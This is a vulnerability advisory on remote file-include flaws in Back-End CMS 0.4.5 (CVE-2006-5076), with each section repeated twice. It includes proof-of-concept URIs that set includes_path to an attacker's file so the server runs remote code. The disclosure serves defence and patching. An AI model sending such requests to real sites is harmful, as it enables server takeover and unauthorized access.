Back-End CMS Multiple Remote File Include Vulnerabilities
BID:20207
Info
Back-End CMS Multiple Remote File Include Vulnerabilities
| Bugtraq ID: | 20207 |
| Class: | Input Validation Error |
| CVE: |
CVE-2006-5076 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 25 2006 12:00AM |
| Updated: | Oct 17 2006 05:09PM |
| Credit: | Root3r_H3ll has been credited with the discovery of this vulnerability. |
| Vulnerable: |
Back-End CMS Back-End CMS 0.4.5 |
| Not Vulnerable: | |
Discussion
Back-End CMS Multiple Remote File Include Vulnerabilities
Back-End CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
Back-End CMS version 0.4.5 is vulnerable to these issues.
Back-End CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
Back-End CMS version 0.4.5 is vulnerable to these issues.
Exploit / POC
Back-End CMS Multiple Remote File Include Vulnerabilities
Attackers can exploit this issue via a web client.
The following proof-of-concept URIs are available:
http://www.example.com/[Path]/admin/index.php?includes_path=attacker's_file
http://www.example.com/[Path]/Facts.php?includes_path=attacker's_file
http://www.example.com/[Path]/search.php?includes_path=attacker's_file
Attackers can exploit this issue via a web client.
The following proof-of-concept URIs are available:
http://www.example.com/[Path]/admin/index.php?includes_path=attacker's_file
http://www.example.com/[Path]/Facts.php?includes_path=attacker's_file
http://www.example.com/[Path]/search.php?includes_path=attacker's_file
Solution / Fix
Back-End CMS Multiple Remote File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
References
Back-End CMS Multiple Remote File Include Vulnerabilities
References:
References: